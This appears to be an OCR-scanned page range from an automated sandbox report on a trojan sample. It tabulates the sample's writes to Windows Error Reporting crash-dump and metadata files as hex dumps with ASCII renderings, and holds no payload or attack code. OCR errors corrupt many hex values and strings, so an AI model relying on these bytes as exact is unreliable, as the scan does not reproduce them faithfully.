C:\ProgramData\Microsoft\Windo unknown 32 4d 44 4d 5093 a7 ee  MDMP........ ....... =C5........ success or wait 1 6E25497A unknown
ws\WER\Temp\WERD13B.tmp.dmp a0 0f 00 00 00 20 00

00 00 00 00 00 00 3d

43 35 60 a4 05 12 00

00 00 00 00
C:\ProgramData\Microsoft\Windo unknown 6 000000000000 ... success or wait 1 6E25497A unknown

ws\WER\Temp\WERD13B.tmp.dmp

Copyright null 2021 Page 125 of 245



File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD13B.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD13B.tmp.dmp

Copyright null 2021

Offset Length Value

unknown 1420

unknown 716

00 00 06 00 07 55 04
01 0a 00 00 00 00 00
00 00 ee 42 00 00 02
00 00 00 28 1e 00 00
00 01 00 00 47 65 6e
75 69 6e 65 49 6e 74

65 6¢ 57 06 0500 fffh .

8b 1f 00 00 00 00 54
05 00 00 7 03 00 00
e4 1b 00 00 30 43 35
60 00 00 00 00 00 00
00 00 93 08 00 00 93
08 00 00 93 08 00 00
01 00 00 00 01 00 00
00 00 30 00 00 32 00
00 00 00 00 00 00 01
00 00 00 e0 01 00 00
50 00 61 00 63 00 69
00 66 00 69 00 63 00
20 00 53 00 74 00 61
00 6e 00 64 00 61 00
7200 64 00 20 00 54
00 69 00 6d 00 65 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 Ob 00 00 00
01 00 02 00 00 00 00
00 00 00 00 00 00 00
50 00 61 00 63 00 69
00 66 00 69 00 63 00
2000 44 00 61 00 79
00 6¢ 00 69 00 67 00
68 00 74 00 20 00 54
00 69 00 6d 00 65 00
00 00 00 00 00 00 00
00 00

7f 00 01 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
aa aaaaaaaaaaaa
aa aa aa aa aaaaaa
aa aa aa aaaaaaaa
aaaaaaaaaaaaaa
aa aa aa aaaaaaaa
aa aaaaaaaaaaaa
aa aa aaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aa aa aa aaaaaa
aa aa aaaaaaaaaa
aa aaaaaaaaaaaa
aa aa aa aaaaaaaa
aa aa aa aaaaaaaa
2b 00 00 00 53 00 00
00 2b 00 00 00 2b 00
00 00 62 6f 72 74 1c
fb a8 02 00 00 00 00
00 00 40 00 62 6f 72
74 00 00 00 00 28 fb
a8 02 62 6f 72 74 23
00 00 00 46 02 01 00
Oc fb a8 02 2b 00 00
00 aa aa aa aa aa aa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaa aaaaaaaa
aa aa aa aa aaaaaa
aaaaaa

..... Ui B (e
..GenuinelntelW.

........... 0.2,
P.a.
.T.i.m.e..

.D.a.y.li.g.ht. .T.
im.e......

@.bort....

fic..S.ta.ndard.

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

6E25497A unknown

6E25497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD13B.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD13B.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD13B.tmp.dmp

Copyright null 2021

Offset Length Value

unknown 168

unknown 20

unknown 256

14 12 00 00 00 00 00
00 05 00 00 c0 00 00
00 00 00 00 00 00 00
00 00 00 62 6f 72 74
00 00 00 00 02 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 ff ff
ff ff ff ff ff ff 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 cc 02 00 00
e0 23 00 00

2f 00 00 00 e2 6e 72
74 00 00 00 00 00 01
00 00 34 3d 00 00

00 8a 6f 04 00 44 00
61 00 74 00 61 00 00
00 23 00 00 00 06 4b
95 04 00 4e 00 61 00
6d 00 65 00 00 00 05
01 08 00 45 00 6e 00
64 00 70 00 6f 00 69
00 6e 00 74 00 02 0d
01 00 10 04 41 ff ff 3f
00 00 00 8a 6f 04 00
4400 61 00 74 00 61
00 00 00 27 00 00 00
06 4b 95 04 00 4e 00
61 00 6d 00 65 00 00
00 05 01 0a 00 50 00
61 00 63 00 6b 00 65
00 74 00 53 00 69 00
7a 00 65 00 02 0d 02
00 07 04 41 ff ff 39 00
00 00 8a 6f 04 00 44
00 61 00 74 00 61 00
00 00 21 00 00 00 06
4b 95 04 00 4e 00 61
00 6d 00 65 00 00 00
0501 07 00 41 00 64
00 64 00 72 00 65 00
7300 73 00 02 0d 03
00 Oe 04 41 ff ff 33 00
00 00 8a 6f 04 00 44
00 61 00 74 00 61 00
00 00 1b 00 00 00 06
4b 95 04 00 4e 00 61
00 6d 00 65 00 00 00
05 01 04 00 50 00 6f
00 72 00 74 00 02 0d
04 00 06 04 41 ff ff

..o.Data.#..K.Nam.

e.....E.nd.p.oi.nt.....
A.?..o.Data.. .. .K..

N.a.m.e......P.a.ck.e.tS.i.

ze....A.9...o0.Data.

J.KiName...Ad.d.

res.s.....A.3...o.D.at

K..N.a.m.e....... 28

Completion

success or wait

success or wait

success or wait

Source

Count Address Symbol

1

a7

46

6E25497A unknown

6E25497A unknown

6E25497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD13B.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD13B.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD13B.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD13B.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD13B.tmp.dmp

Copyright null 2021

Offset Length Value

unknown 572

unknown 4

unknown 716

unknown 48

unknown 4

bc bl e5 77 d6 c9 e3
77 ac 00 00 00 aa aa
aa aa 10 00 00 00 58

fee30024ffe300aa ...

aaaaaa40c7e377
40 c7 e3 77 aa aa aa
aa 00 00 2c 00 00 00
2c 00 00 00 00 00 ac
00 00 00 aa aa aa aa
ac 00 00 00 aa aa aa
aa 00 00 2c 00 00 00
00 00 00 00 00 00 00
00 00 00 aa aa aa aa
aa aa aa aa 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 aa aa aa aa 00 00
00 00 00 00 00 00 00
00 00 00 30 1b ba 00
00 00 00 00 00 00 00
00 fO 6b b4 00 00 70
2b 00 10 00 00 00 aa
aa aa aa 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 aa aa
aa aa 00 00 00 00 aa
aa aa aaaaaaaaaa
90 fe 6d 02 90 fe d3
00 98 fe 6d 02 98 fe
d3 00 00 00 00 00 aa
aa aa aa aa aaaaaa
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00

07 00 00 00

3f 00 01 00 00 00 00

00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
aa aaaa aaaaaaaa
aa aa aa aaaaaaaa
aa aa aa aaaaaaaa
aa aaaaaaaaaaaa
aa aa aa aaaaaaaa
aa aaaaaaaaaaaa
aa aa aa aaaaaaaa
aa aa aaaaaaaaaa
aa aaaaaaaaaaaa
aa aa aaaaaaaaaa
aa aaaa aaaaaaaa
aa aa aa aa aaaaaa
aa aa aaaaaaaaaa
aa aaaaaaaaaaaa
aa aa aa aaaaaaaa
aa aaaaaaaaaaaa
2b 00 00 00 53 00 00
00 2b 00 00 00 2b 00
00 00 64 03 00 00 00
00 00 00 aa aa aa aa
00 00 00 00 00 00 00
00 aa aa aa aa 38 cf

1900 2c 95 e5 77 23
00 00 00 02 02 00 00
c8 ce 19 00 2b 00 00
00 aa aa aa aa aa aa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaa aaaaaaaa
aa aa aa aa aaaaaa
aaaaaa

c0 13 00 00 01 00 00
00 20 00 00 00 00 00
00 00 00 c0 2¢ 00 00
00 00 00 94 fb b8 02
00 00 00 00 6¢ 04 00
00 70 40 00 00 cc 02
00 00 74 37 00 00

2d 00 00 00

Source

Ascii Completion Count Address Symbol
W W X..$..... success or wait 1 6E25497A unknown
.@.Ww@..w.

success or wait 7 6E25497A unknown
e success or wait 7 6E25497A unknown
success or wait 1 6E25497A unknown
- success or wait 45 6E25497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD13B.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD13B.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD13B.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD13B.tmp.dmp

Copyright null 2021

Offset Length

unknown 106

unknown 120

unknown 60

unknown 668

Value

64 00 00 00 53 00 65
00 63 00 75 00 72 00
69 00 74 00 65 00 49
00 6e 00 66 00 6f 00
2e 00 63 00 6f 00 6d
00 2e 00 54 00 72 00
6f 00 6a 00 61 00 6e
00 2e 00 47 00 65 00
6e 00 65 00 72 00 69
00 63 00 4b 00 44 00
5a 00 2e 00 37 00 33
00 31 0032 00 34 00
2e 00 31 00 39 00 31
00 37 00 30 00 2e 00
65 00 78 00 65 00 00
00

00 00 cf 75 00 00 00
00 00 70 00 00 07 dc
0000 28 63 3e 3572
2300 00 bd 04 ef fe
00 00 01 00 00 00 0a
00 01 00 ee 42 00 00
0a 00 01 00 ee 42 3f
00 00 00 00 00 00 00
04 00 04 00 03 00 00
00 06 00 00 00 00 00
00 00 00 00 00 00 20
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 40 45 00 00 00 00
00 00 00 00 00 00 00
00 00 00 Oc 00 00 00
18 00 00 00 02 00 00
00

36 00 00 00 4f 00 6e
00 44 00 65 00 6d 00
61 00 6e 00 64 00 43
00 6f 00 6e 00 6e 00
52 00 6f 00 75 00 74
00 65 00 48 00 65 00
6¢ 00 70 00 65 00 72
00 2e 00 64 00 6¢ 00
6¢ 00 00 00

00 00 c3 73 00 00 00
00 00 00 03 00 a8 c2
03 00 d1 2a 2c e3 c2
2300 00 01 00 0Of 00
5a 62 02 00 00 10 00

00 fb fe 0f 00 01 00 00

00 ff ff 13 00 00 00 01
00 00 00 01 00 00 00
00 00 ff ff fe 7f 00 00
00 00 Of 00 00 00 00
00 00 00 04 00 00 00
00 60 9c 02 00 00 00
00 00 b0 c8 02 00 00
00 00 d4 47 01 00 00
01 00 00 00 00 00 00
ff ff ff ff 00 00 00 00 a9
7b 03 00 00 00 00 00
4e 7e 03 00 00 00 00
00 00 00 00 00 00 00
00 00 d4 4f 1b 00 00
00 00 00 6¢ af 04 00
00 00 00 00 40 ff 1f 00
00 00 00 00 b7 f8 04
00 00 00 00 00 24 da
f2 86 00 00 00 00 3a
08 6a 15 00 00 00 00
41 79 ae Oc 00 00 00
00 3c 66 €8 00 00 00
00 00 c2 9a 00 00 8f cf
00 00 79 fa 04 00 8a
e7 0a 00 6c af 04 00
fb 7e 15 00 b7 f8 04
00 cb 95 1e 00 59 3d
01 00 22 7f 10 00 00
00 00 00 97 91 0d 00
d6 88 04

d..S.e.curite.l.nfo..
c.o.m...T.r.oj.an..G.e.n.e.
ri.c.K.D.Z..7.3.1.2.4...1.9.

6...0.n.D.e.m.a.n.d.C.0.n.n success or wait
.R.o.ute.H.elp.e.r.d.ll.

Source

Count Address Symbol

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD13B.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD13B.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset
unknown 13136

unknown 120

unknown 2

unknown 78

unknown 4

unknown 38

unknown 4

unknown 2

Length Value

0a 00 00 00 45 00 76
00 65 00 6e 00 74 00
00 00 00 00 00 00 06
00 00 00 08 00 00 00
01 00 00 00 00 00 00
00 28 00 00 00 57 00
61 00 69 00 74 00 43
00 6f 00 6d 00 70 00
6¢ 00 65 00 74 00 69
00 6f 00 6e 00 50 00
61 00 63 00 6b 00 65
00 74 00 00 00 18 00
00 00 49 00 6f 00 43
00 6f 00 6d 00 70 00
6¢ 00 65 00 74 00 69
00 6f 00 6e 00 00 00
1e 00 00 00 54 00 70
00 57 00 6f 00 72 00
6b 00 65 00 72 00 46
00 61 00 63 00 74 00
6f 00 72 00 79 00 00
00 Oe 00 00 00 49 00
52 00 54 00 69 00 6d
00 65 00 72 00 00 00
28 00 00 00 57 00 61
00 69 00 74 00 43 00
6f 00 6d 00 70 00 6¢
00 65 00 74 00 69 00
6f 00 6e 00 50 00 61
00 63 00 6b 00 65 00
74 00 00 00 Oe 00 00
00 49 00 52 00 54 00
69 00 6d 00 65 00 72
00 00 00 28 00 00 00
57 00 61 00 69 00 74
00 43 00 6f 00 6d 00
7000 6¢

03 00 00 00 54 01 00
00 08 07 00 00 04 00
00 00 00 13 00 00 68
08 00 00 Oe 00 00 00
3c 00 00 00 68 1b 00
00 05 00 00 00 f4 02
00 00 40 3a 00 00 06
00 00 00 a8 00 00 00
60 06 00 00 07 00 00
00 38 00 00 00 d4 00
00 00 Of 00 00 00 54
05 00 00 Oc 01 00 00
Oc 00 00 00 48 22 00
00 b0 18 01 00 15 00
00 00 ec 01 00 00 a4
1b 00 00 16 00 00 00
98 00 00 00 90 1d 00
00

ff fe

3c 00 3f 00 78 00 6d

00 6¢ 00 20 00 76 00
6500 72 00 73 00 69
00 6f 00 6e 00 3d 00

2200 3100 2e 00 30
00 22 00 20 00 65 00
6e 00 63 00 6f 00 64
00 69 00 6e 00 67 00
3d 00 22 00 55 00 54
00 46 00 2d 00 31 00
36 00 22 00 3f 00 3e

00

0d 00 0a 00

3c 00 57 00 45 00 52
00 52 00 65 00 70 00
6f 00 72 00 74 00 4d
00 65 00 74 00 61 00
64 00 61 00 74 00 61
00 3e 00

0d 00 0a 00

09 00

Source

Ascii Completion Count Address Symbol
LEvento success or wait 1 6E25497A unknown
(...W.a.i.t.C.o.m.p.l.e.
tio.n.P.a.cke.t....lo.
C.o.m.p.l.e.ti.o.n.....T.p.
W.o.rk.er.Fa.cto.ry...
LLR.Timee.r..(..W.a.it.
C.o.m.p.l.e.ti.o.n.P.a.ck.e.
te..LRT.iim.e.r..(.W.
a.i.t.C.o.m.p.l
success or wait 1 6E25497A unknown
success or wait 1 6E25497A unknown
<.?x.m.l. .v.ers.i.o.n.=". success or wait 1 6E25497A unknown
1..0.". .e.n.c.0.d.i.n.g.=.".
UT.F.-16."2>.
success or wait 1 6E25497A unknown
<W.E.R.R.e.p.o.r.t.M.e.t.a. success or wait 1 6E25497A unknown
data>.
success or wait 1 6E25497A unknown
success or wait 1 6E25497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown 44

unknown 4

unknown 2

unknown 82

unknown 4

unknown 2

unknown 40

unknown 4

unknown 2

unknown 82

unknown 4

unknown 2

unknown 62

unknown 4

unknown 2

Length Value

3c 00 4f 00 53 00 56
00 65 00 72 00 73 00
69 00 6f 00 6e 00 49
00 6e 00 66 00 6f 00
72 00 6d 00 61 00 74
00 69 00 6f 00 6e 00
3e 00

0d 00 0a 00

09 00

3c 00 57 00 69 00 6e
00 64 00 6f 00 77 00
73 00 4e 00 54 00 56
00 65 00 72 00 73 00
69 00 6f 00 6e 00 3e
00 31 00 30 00 2e 00
30 00 3c 00 2f 00 57
00 69 00 6e 00 64 00
6f 00 77 00 73 00 4e
00 54 00 56 00 65 00
72 00 73 00 69 00 6f
00 6e 00 3e 00

0d 00 0a 00

09 00

3c 0042 00 75 00 69
00 6¢ 00 64 00 3e 00
31003700 310033
00 34 00 3c 00 2f 00
4200 75 00 69 00 6¢
00 64 00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 64 00 75 00 63 00
74 00 3e 00 28 00 30
00 78 00 33 00 30 00
29 00 3a 00 20 00 57
00 69 00 6e 00 64 00
6f 00 77 00 73 00 20
00 31 00 30 00 20 00
50 00 72 00 6f 00 3¢
00 2f 00 50 00 72 00
6f 00 64 00 75 00 63
00 74 00 3e 00

0d 00 0a 00

09 00

3c 00 45 00 64 00 69
00 74 00 69 00 6f 00
6e 00 3e 00 50 00 72
00 6f 00 66 00 65 00
7300 73 00 69 00 6f
00 6e 00 61 00 6¢ 00
3c 00 2f 00 45 00 64
00 69 00 74 00 69 00
6f 00 6e 00 3e 00

0d 00 0a 00

09 00

Ascii Completion Count
<.0.S.V.ers.i.o.nlnfo.r. success or wait 1
m.a.t.i.o.n.>.
success or wait 1
success or wait 2
<W.i.n.d.o.w.s.N.T.V.e.r.s. success or wait 1
i.0.n.>.1.0...0.
<./.W.i.n.d.o.w.
s.N.T.V.e.r.s.i.o.n.>.
success or wait 1
success or wait 2
<.B.u.i.l.d.>.1.7.1.3.4.<./.B. success or wait 1
wild.>.
success or wait 1
success or wait 2
<.P.r.o.d.u.c.t.>.(.0.x.3.0.). success or wait 1
. .W.i.n.d.ow.s. .1.0. .P.r.
o0.<./P.ro.d.u.c.t>.
success or wait 1
success or wait 2
<.E.d.tio.n>P.r.o.fes. success orwait 1
s..o.n.al.</E.d.itio.n.>.
success or wait 1
success or wait 2

Source
Address

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown 134

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length Value

44

4

2

64

46

3c 0042 00 75 00 69
00 6¢ 00 64 00 53 00
7400 72 00 69 00 6e
00 67 00 3e 00 31 00
37 0031003300 34
00 2e 00 31 00 2e 00
61 00 6d 00 64 00 36
00 34 00 66 00 72 00
65 00 2e 00 72 00 73
00 34 00 5f 00 72 00
65 00 6¢ 00 65 00 61
00 73 00 65 00 2e 00
31 00 38 00 30 00 34
00 31 00 30 00 2d 00
31 00 38 00 30 00 34
00 3c 00 2f 00 42 00
7500 69 00 6¢ 00 64
0053 00 74 00 72 00
69 00 6e 00 67 00 3e
00

0d 00 0a 00

09 00

3c 00 52 00 65 00 76
00 69 00 73 00 69 00
6f 00 6e 00 3e 00 31
00 3c 00 2f 00 52 00
65 00 76 00 69 00 73
00 69 00 6f 00 6e 00
3e 00

0d 00 0a 00

09 00

3c 00 46 00 6¢ 00 61
00 76 00 6f 00 72 00
3e 00 4d 00 75 00 6¢
00 74 00 69 00 70 00
72 00 6f 00 63 00 65
00 73 00 73 00 6f 00
7200 2000 46 00 72
00 65 00 65 00 3c 00
2f 00 46 00 6¢ 00 61
00 76 00 6f 00 72 00
3e 00

0d 00 0a 00

09 00

3c 0041 00 72 00 63
00 68 00 69 00 74 00
65 00 63 00 74 00 75
00 72 00 65 00 3e 00
58 00 36 00 34 00 3c
00 2f 00 41 00 72 00
63 00 68 00 69 00 74
00 65 00 63 00 74 00
7500 72 00 65 00 3e
00

0d 00 0a 00

09 00

3c 00 4c 00 43 00 49
00 44 00 3e 00 31 00
30 00 33 00 33 00 3c
00 2f 00 4c 00 43 00
49 00 44 00 3e 00

0d 00 0a 00

09 00

3c 00 2f 00 4f 00 53
00 56 00 65 00 72 00
7300 69 00 6f 00 6e
00 49 00 6e 00 66 00
6f 00 72 00 6d 00 61
00 74 00 69 00 6f 00
6e 00 3e 00

Ascii
<.B.u.ild.S.trin.g.>.1.7.
1.34.1.am.d.6.4fre..
rs.4._rele.as.e..1.8.0.
4.1.0.-.1.8.0.4.<./.B.u.i.L.d.
S.trin.g.>.

<.R.e.w.s.io.n>1</R.e.

v.i.s.i.o.n>.

<.F.lLav.o.r>.M.u.l.tip.r.
o.c.e.s.s.o.r. .F.re.e</F.
l.a.v.o.r>.

<Ar.c.hite.c.ture>X.
6.4.</Ar.c.hite.ctu.r.
e.>.

<.L.C.1.D.>.1.0.3.3.
<./.L.C.L.D.>.

<./.0.8.V.errs..o.n.l.nfo.
rm.a.ti.o.n.>.

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count Address

1

1

2

1

Source
Symbol

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown
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File Path Offset
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 40
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 30
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2

ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 146

ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 90
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 44
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2

ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

Copyright null 2021

Length Value

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 63 00 65 00 73 00
73 00 49 00 6e 00 66
00 6f 00 72 00 6d 00
61 00 74 00 69 00 6f
00 6e 00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 69 00 64
00 3e 00 37 00 31 00
34 00 30 00 3c 00 2f
00 50 00 69 00 64 00
3e 00

0d 00 0a 00

09 00

3c 00 49 00 6d 00 61
00 67 00 65 00 4e 00
61 00 6d 00 65 00 3e
00 53 00 65 00 63 00
75007200 69 00 74
00 65 00 49 00 6e 00
66 00 6f 00 2e 00 63
00 6f 00 6d 00 2e 00
54 00 72 00 6f 00 6a
00 61 00 6e 00 2e 00
47 00 65 00 6e 00 65
00 72 00 69 00 63 00
4b 00 44 00 5a 00 2e
00 37 00 33 00 31 00
3200 34 00 2e 00 31
00 39 00 31 00 37 00
30 00 2e 00 65 00 78
00 65 00 3c 00 2f 00
49 00 6d 00 61 00 67
00 65 00 4e 00 61 00
6d 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 43 00 6d 00 64
00 4c 00 69 00 6e 00
65 00 53 00 69 00 67
00 6e 00 61 00 74 00
7500 72 00 65 00 3e
00 30 00 30 00 30 00
30 00 30 00 30 00 30
00 30 00 3c 00 2f 00
4300 6d 00 64 00 4c
00 69 00 6e 00 65 00
53 00 69 00 67 00 6e
00 61 00 74 00 75 00
7200 65 00 3e 00

0d 00 0a 00

09 00

3c 00 55 00 70 00 74
00 69 00 6d 00 65 00
3e 00 31 00 32 00 39
00 39 00 30 00 3c 00
2f 0055 00 70 00 74
00 69 00 6d 00 65 00
3e 00

0d 00 0a 00

09 00

Source

Ascii Completion Count Address Symbol
success or wait 1 6E25497A unknown
success or wait 1 6E25497A unknown

<.P.ro.c.e.s.s.l.nf.o.orm.a. success or wait 1 6E25497A unknown

tio.n.>.
success or wait 1 6E25497A unknown
success or wait 2 6E25497A unknown
<.P.i.d.>.7.1.4.0.<./.P.i.d.>. success or wait 1 6E25497A unknown
success or wait 1 6E25497A unknown
success or wait 2 6E25497A unknown
<..m.a.g.e.N.a.m.e.>.S.e.c success or wait 1 6E25497A unknown

.urite.lnfo..com..Tr.

o.j.a.n..G.e.n.e.r.i.c.K.D.Z.

.7.31.2.4..1.9.1.7.0...e.x.

e.</.Im.a.g.e.N.am.e.>.
success or wait 1 6E25497A unknown
success or wait 2 6E25497A unknown

<.C.m.d.L.i.n.e.S.i.g.n.a.t.u success or wait 1 6E25497A unknown

.r.e.>.0.0.0.0.0.0.0.0.

<./.C.m.

d.L.i.n.e.S.i.g.n.ature>.
success or wait 1 6E25497A unknown
success or wait 2 6E25497A unknown

<.U.p.t.i.m.e.>.1.2.9.9.0. success or wait 1 6E25497A unknown

<./U.p.tim.e.>.
success or wait 1 6E25497A unknown
success or wait 2 6E25497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
